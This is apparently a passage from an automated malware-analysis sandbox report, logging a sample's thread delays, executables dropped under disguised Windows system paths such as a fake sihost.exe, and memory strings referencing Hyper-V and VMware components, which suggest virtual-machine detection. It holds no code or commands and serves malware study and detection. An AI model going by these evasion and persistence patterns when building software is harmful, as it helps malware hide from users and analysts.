Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 591274
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 590984
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 590830
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 590671
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 590531
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 590386
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 590254
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 590093
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 589910
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 589453
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 589280
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 589162
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 589042
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 588872
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 588757
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 588645
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 588515
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 588343
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 588171
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 588013
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 587880
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 587750
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 587640
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 587531
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 587421
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 587298
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 587137
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 586654
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 586528
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 586386
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 586231
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 586117
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 586000
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 585890
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 585774
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 585656
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 585546
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 585436
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 585324
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 585214
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 585109
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 584902
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 584795
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 584678
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 584542
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 584349
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 583946
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 583822
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 583707
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 583564
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 583437
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 583327
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 583209
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 583079
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 582963
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 582858
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 582750
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 582640
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 582530
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 582406
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 582218
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 582041
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 581828
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 581225
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 580984
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 580871
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 580765
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 580619
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 580484
Source: C:\Windows\BitLockerDiscoveryVolumeContents\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\Windows NT\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\apppatch\CustomSDB\sihost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\Windows NT\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\apppatch\CustomSDB\sihost.exe	Thread delayed: delay time: 922337203685477

Source: C:\Program Files\Everything\Everything.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Program Files\Everything\Everything.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Program Files\Everything\Everything.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Program Files\Everything\Everything.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Program Files\Everything\Everything.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Program Files\Everything\Everything.exe	File opened: C:\Users\user\AppData	Jump to behavior

Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SHyperV-Primitive-VirtualMachine-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.mum
Source: Everything.exe, 00000014.00000003.2346194575.0000000005C20000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: _HyperV-Compute-System-VirtualMachine-merged-Package~31bf3856ad364e35~amd64~~10.0.19041.1741.catg-
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: YMicrosoft-Hyper-V-Online-Services-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.488.cat
Source: Everything.exe, 00000014.00000003.2330717207.0000000002C01000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Zamd64_microsoft-hyper-v-vstack-vsmb_31bf3856ad364e35_10.0.19041.1741_none_a3a0448c191b2fda
Source: Everything.exe, 00000014.00000003.2330717207.0000000002C01000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: camd64_microsoft-hyper-v-h..t-service.resources_31bf3856ad364e35_10.0.19041.1_en-us_ddaeabc80a3525d6-
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: camd64_microsoft-hyper-v-vstack-vsmb_31bf3856ad364e35_10.0.19041.1741_none_a3a0448c191b2fda.manifestc
Source: Everything.exe, 00000014.00000003.2330717207.0000000002C01000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [amd64_microsoft-hyper-v-vstack-debug_31bf3856ad364e35_10.0.19041.1741_none_78a9b11b7a3cc41b]
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ^HyperV-Compute-Host-VirtualMachines-merged-Package~31bf3856ad364e35~amd64~~10.0.19041.1741.mumt
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SHyperV-Primitive-VirtualMachine-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TMicrosoft-Hyper-V-Offline-Common-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kamd64_microsoft-hyper-v-d..ers-vmswitch-common_31bf3856ad364e35_10.0.19041.1_none_e5de88ec9eb30808.manifest/CY
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: jamd64_microsoft-hyper-v-guest-network-drivers_31bf3856ad364e35_10.0.19041.1_none_2cfac380b9544760.manifestt
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: YHyperV-Feature-VirtualMachinePlatform-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.mumP
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: aamd64_microsoft-hyper-v-vstack-vid_31bf3856ad364e35_10.0.19041.546_none_58a869077fc6e2f7.manifest
Source: Everything.exe, 0000000A.00000003.2245320628.0000000000CC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: etgwfyhLlpxWsCvMcidzguSlntfrNsCe
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: RMicrosoft-Hyper-V-Hypervisor-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat'"
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ^amd64_microsoft-hyper-v-3dvideo_31bf3856ad364e35_10.0.19041.928_none_b394b845725c83f9.manifestl
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: _amd64_microsoft-hyper-v-vhd-parser_31bf3856ad364e35_10.0.19041.1_none_34b87765e20dcc15.manifest
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: lamd64_microsoft-hyper-v-m..wallrules.resources_31bf3856ad364e35_10.0.19041.1_en-us_90826ff4620798e4.manifestl
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [Microsoft-Hyper-V-ClientEdition-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat$"
Source: Everything.exe, 00000014.00000003.2330717207.0000000002C01000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Oamd64_microsoft-hyper-v-bpa_31bf3856ad364e35_10.0.19041.1_none_555170071aa29c2c
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: namd64_microsoft-hyper-v-o..n-merged-deployment_31bf3856ad364e35_10.0.19041.1566_none_4d0af6f3ee4c927e.manifest
Source: Everything.exe, 00000014.00000003.2344012623.00000000059F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmci.sys
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TMicrosoft-Hyper-V-Offline-Common-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.mum
Source: Everything.exe, 00000014.00000003.2330717207.0000000002C01000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: bamd64_microsoft-hyper-v-m..-client.snapinabout_31bf3856ad364e35_10.0.19041.1_none_43a9017744e82ca8
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: mamd64_microsoft-hyper-v-vstack-vsmb.resources_31bf3856ad364e35_10.0.19041.423_en-us_f14a4bbefe65ac87.manifestb
Source: Everything.exe, 00000014.00000003.2330717207.0000000002C01000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: aamd64_microsoft-hyper-v-vstack-vid.resources_31bf3856ad364e35_10.0.19041.1_en-us_447494df1222bcd8
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: jamd64_microsoft-hyper-v-drivers-hypervisor_31bf3856ad364e35_10.0.19041.2006_none_a526c6e91aabcb1b.manifest8
Source: Everything.exe, 00000014.00000003.2330717207.0000000002C01000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ^amd64_microsoft-hyper-v-management-clients_31bf3856ad364e35_10.0.19041.1_none_a87cce111f2d21d5
Source: Everything.exe, 00000014.00000003.2346194575.0000000005C20000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: `HyperV-Compute-Host-VirtualMachines-merged-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.catM%t
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [Microsoft-Hyper-V-ClientEdition-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.mumn
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: NMicrosoft-Hyper-V-Services-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: namd64_microsoft-hyper-v-o..s-merged-deployment_31bf3856ad364e35_10.0.19041.1741_none_68a612f12d9ba982.manifest
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: YMicrosoft-Hyper-V-Online-Services-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.488.mum
Source: Everything.exe, 00000014.00000003.2330717207.0000000002C01000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: eamd64_microsoft-hyper-v-d..s-vmswitch-netsetup_31bf3856ad364e35_10.0.19041.2006_none_f93d3f541072d580P
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [amd64_microsoft-hyper-v-hgs_31bf3856ad364e35_10.0.19041.1741_none_1bf0e7c12b78479b.manifest
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: _HyperV-Compute-System-VirtualMachine-merged-Package~31bf3856ad364e35~amd64~~10.0.19041.1741.mumw
Source: Everything.exe, 00000014.00000003.2330717207.0000000002C01000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Ramd64_microsoft-hyper-v-winhvr_31bf3856ad364e35_10.0.19041.1_none_fc5d2e67adee5611s}B
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TMicrosoft-Hyper-V-Package-base-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat'"t
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: namd64_microsoft-hyper-v-i..ationcomponents-rdv_31bf3856ad364e35_10.0.19041.1741_none_b62736d427ac1a0c.manifest
Source: Everything.exe, 00000014.00000003.2330717207.0000000002C01000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: aamd64_microsoft-hyper-v-drivers-hypervisor_31bf3856ad364e35_10.0.19041.2006_none_a526c6e91aabcb1b{f
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ^HyperV-Feature-VirtualMachinePlatform-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1766.mumO
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ZMicrosoft-Hyper-V-Offline-Core-Group-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat'"t
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ZMicrosoft-Hyper-V-Offline-Core-Group-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat'"
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \Microsoft-Hyper-V-Online-Services-merged-Package~31bf3856ad364e35~amd64~~10.0.19041.1741.mumn
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kamd64_microsoft-hyper-v-v..ck-virtualizationv2_31bf3856ad364e35_10.0.19041.1_none_25a2ff96aac272dd.manifest
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMicrosoft-Hyper-V-Offline-Common-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat'"t
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: RMicrosoft-Hyper-V-Services-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.488.cat
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: lamd64_microsoft-hyper-v-m..t-clients.resources_31bf3856ad364e35_10.0.19041.1_en-us_a3e0d97c4c052586.manifest:
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: gamd64_microsoft-hyper-v-winsock-provider_31bf3856ad364e35_10.0.19041.867_none_b57fce26790eec13.manifestw
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [Microsoft-Hyper-V-Offline-Common-merged-Package~31bf3856ad364e35~amd64~~10.0.19041.1566.mumk
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: lamd64_microsoft-hyper-v-d..ypervisor.resources_31bf3856ad364e35_10.0.19041.1_en-us_c2edb07518552135.manifest
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: namd64_microsoft-hyper-v-vstack-emulatedstorage_31bf3856ad364e35_10.0.19041.1741_none_4fe99c993cb84326.manifesti
Source: Everything.exe, 00000014.00000003.2330717207.0000000002C01000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: `amd64_microsoft-hyper-v-vstack-hypervcluster_31bf3856ad364e35_10.0.19041.1_none_a2ace16370124ff4
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: RMicrosoft-Hyper-V-Services-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.488.mum
